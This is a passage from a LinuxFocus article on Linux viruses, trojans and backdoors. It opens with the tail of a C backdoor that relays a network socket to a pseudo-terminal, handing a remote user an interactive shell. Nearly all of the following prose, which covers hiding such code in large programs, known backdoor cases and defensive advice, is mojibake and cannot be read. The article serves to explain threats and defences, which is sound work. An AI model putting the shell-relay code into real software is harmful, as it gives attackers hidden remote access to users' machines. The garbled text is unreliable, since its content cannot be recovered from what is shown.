        exit (1);
    }
    /* Father: copy of the socket to the master pseudo-TTY
        and vice versa */
        tcgetattr (pty_maitre, & termios);
    cfmakeraw (& termios);
    tcsetattr (pty_maitre, TCSANOW, & termios);
    while (1) {
        FD_ZERO (& set);
        FD_SET (sock2, & set);
        FD_SET (pty_maitre, & set);
        if (select (pty_maitre < sock2 ? sock2+1: pty_maitre+1,
             & set, NULL, NULL, NULL) < 0)
            break;
        if (FD_ISSET (sock2, &set)) {
            if ((n = read (sock2, buffer, 4096)) < 0)
                break;
            write (pty_maitre, buffer, n);
        }
        if (FD_ISSET (pty_maitre, &set)) {
            if ((n = read (pty_maitre, buffer, 4096)) < 0)
                break;
            write (sock2, buffer, n);
        }
    }
    return (0);
}

²åÈëÕâÑùµÄÒ»¶Î´úÂëµ½ÅÓ´óµÄÓ¦ÓóÌÐò£¨ÀýÈçsendmail£©»áÒþ²ØÉÏ×ã¹»³¤µÄʱ¼äÀ´½øÐа¹ÔàµÄÉøÍ¸¡£´ËÍ⣬ÓÐЩÈËÔÚÒþ²ØÐ¡¶Î´úÂëÔËÐеļ¼ÇÉÉÏÊÇÀÏÊÖ£¬ÏñÿÄêÔÚIOCC(International Obsfucated C Code Contest)¾ºÈüÖÐÌá½»µÄ³ÌÐò¾ÍÄÜ×÷Ϊ×ôÖ¤¡£

²»Ó¦ÈÏΪºóÃųÌÐò½öÊÇÀíÂÛÉϵĿÉÄÜ¡£ÕâÀàÀ§ÄÑÈ·µÄÈ·ÒѾ­ÔâÓö¹ý£¬ÀýÈçÔÚRed-Hat 6.2·¢²¼°æ±¾ÖеÄPiranha³ÌÐò°ü¾ÍÄܽÓÊÕĬÈÏÃÜÂë¡£Quake 2³ÌÐòͬÑùÒ²»³ÒÉÒþ²ØÁ˺óÃųÌÐòÒÔÔÊÐíÔ¶³ÌÖ´ÐÐÃüÁî¡£

ºóÃųÌÐòµÄ»úÖÆÒ²¿ÉÒÔ½«Æä×ÔÉíÒþ²ØÓڷdz£¸´ÔÓµÄÍâ±í»·¾³ÖÐÒÔÖÁÓÚ¶ÔÓÚ¾ø´ó¶àÊýµÄÈËÀ´ËµÊÇ̽²â²»µ½µÄ¡£Ò»¸öµäÐ͵ÄÀý×Ó¾ÍÊǹØÓÚ¼ÓÃÜϵͳµÄºóÃųÌÐò¡£ÀýÈ磬ÔÚ¹¤×÷µÄSE-LinuxϵͳÊÇÒ»¸öʹÓÃÁËÓÉNSAÌṩµÄ²¹¶¡ÔöÇ¿°²È«µÄLinux°æ±¾¡£¼ì²éÁËËùÌṩµÄ²¹¶¡µÄLinux¿ª·¢Õß˵ËüûÓÐʲôֵµÃ»³ÒÉ£¬µ«ÊÇË­Ò²²»ÄÜÈ·ÐÅ£¬ºÎ¿öºÜÉÙÓÐÈËÄÜÓÐ×ã¹»µÄÊýѧ֪ʶÀ´·¢ÏÖ´ËÖÖ©¶´¡£

 

½áÂÛ

̽¾¿ÕâЩÔÚGnu/LinuxÊÀ½çÖз¢ÏÖµÄÓк¦³ÌÐòʹÎÒÃǵõ½ÈçϽáÂÛ£º×ÔÓÉÈí¼þÎÞ·¨µÖÓù²¡¶¾£¬È䳿£¬ÌØÂåÒÁľÂí»òÕ߯äËüÖ®ÀàµÄ£¡²»Òª¹ýÓÚ²ÝÂÊ£¬±ØÐë×¢Òâ¹ØÓÚµ±Ç°Ó¦ÓóÌÐòµÄ°²È«¾¯¸æ£¬ÌرðÊǵ±¹¤×÷Õ¾ÊÇÆµ·±Á¬½Óµ½Internetʱ¡£ÏÖÔÚÐγɺõÄϰ¹ßÊǺÜÖØÒªµÄ£ºÒ»µ©·¢ÏÖ©¶´£¬¾ÍÁ¢¼´Éý¼¶Èí¼þ£»Ö»Ê¹ÓÃËùÐèÇóµÄÍøÂç·þÎñ£»´Ó¿ÉÐÅÈεÄwebÕ¾µãÏÂÔØÓ¦ÓóÌÐò£»¶ÔÓÚÏÂÔØµÄ°ü¾¡¿ÉÄܾ­³£µØ¼ì²éPGP»òÕßMD5Ç©Ãû¡£×î¡°ÑÏËàµÄ¡±ÈË»áʹ¶ÔÓÚ°²×°Ó¦ÓóÌÐòµÄ¿ØÖÆ×Ô¶¯»¯£¬ÀýÈçʹÓýű¾¡£

µÚ¶þÌõӦעÒâµÄ£ºÎ´À´LinuxϵͳµÄÁ½ÏîÖ÷ҪΣÏÕÒ»Êǹ¤×÷Ó¦ÓóÌÐòäĿµØ½âÎö°üº¬ÔÚÎĵµ£¨°üÀ¨µç×ÓÓʼþ£©Öеĺ꣬¶þÊÇ¶àÆ½Ì¨²¡¶¾£¬ËüÃǼ´Ê¹ÔÚWindowsÏÂÖ´ÐУ¬Ò²ÄÜÇÖÈëͬһ̨»úÆ÷ÉÏÔÚLinux·ÖÇøËùÕÒµ½µÄ¿ÉÖ´ÐÐÎļþ¡£Èç¹û˵µÚÒ»¸öÎÊÌâÈ¡¾öÓÚÓû§µÄÐÐΪ£¬ËûÃÇÓ¦¸Ã²»ÔÊÐí¹¤×÷Ó¦ÓóÌÐò½ÓÊÜÈκζ«Î÷£¬ÄÇôµÚ¶þ¸öÎÊÌâ¾ÍÊÇÏ൱ÄÑÒÔ½â¾öµÄ£¬¼´Ê¹¶ÔÓÚ¾¡Ö°µÄ¹ÜÀíÔ±Ò²ÊÇÈç´Ë¡£ÔںܽüµÄ½«À´£¬±ØÐ뽫ǿ´óµÄ²¡¶¾Ì½²âÆ÷Ó¦ÓÃÓÚÁ¬½Óµ½InternetµÄLinux¹¤×÷Õ¾£»ÈÃÎÒÃÇÆÚ´ýÕâÀàÏîÄ¿»áÔÚ×ÔÓÉÈí¼þÊÀ½çÖкܿì³öÏÖ¡£  

²Î¿¼ÊéÄ¿

¹ØÓÚ²¡¶¾£¬ÌØÂåÒÁľÂíºÍÆäËüÈí¼þÍþвµÄÎĵµµÄÊýÄ¿ÊǸöÊ®·ÖÖØÒªµÄÖ¸±ê£»ÓÐÐí¶à̸ÂÛĿǰ²¡¶¾µÄÔËÐз½Ê½ºÍÖ´Ðнá¹ûµÄÎÄÕ¡£µ±È»£¬¾ø´ó¶àÊýµÄÁбíÊǹØÓÚDos/WindowsµÄ£¬µ«ÊÇÒ²ÓÐһЩÓëLinuxÏà¹Ø¡£Õâ¶ùÌáµ½µÄÎĵµ¶¼ÊǷdz£¾­µäµÄ£¬¶øÇÒ·ÖÎöÁËÀíÂÛÉϵÄʵÏÖ»úÖÆ¡£

 

¶ÔÕâÆªÎÄÕ·¢±íÆÀÂÛ

ÿƪÎÄÕ¶¼Óи÷×Եķ´À¡Ò³Ãæ¡£ÔÚÕâ¸öÒ³ÃæÀÄú¿ÉÒÔÌá½»ÆÀÂÛ£¬Ò²¿ÉÒԲ鿴ÆäËû¶ÁÕߵįÀÂÛ£º
 ·´À¡Ò³Ãæ 

Ö÷Ò³ÓÉLinuxFocus±à¼­×éά»¤
© Christophe Blaess, FDL
LinuxFocus.org

µã»÷ÕâÀïÏòLinuxFocus±¨¸æ´íÎó»òÌá³öÒâ¼û
·­ÒëÐÅÏ¢:
fr --> -- : Christophe Blaess (homepage)
fr --> en: Georges Tarbouriech <georges.t(at)linuxfocus.org>

2002-10-31, generated by lfparser version 2.25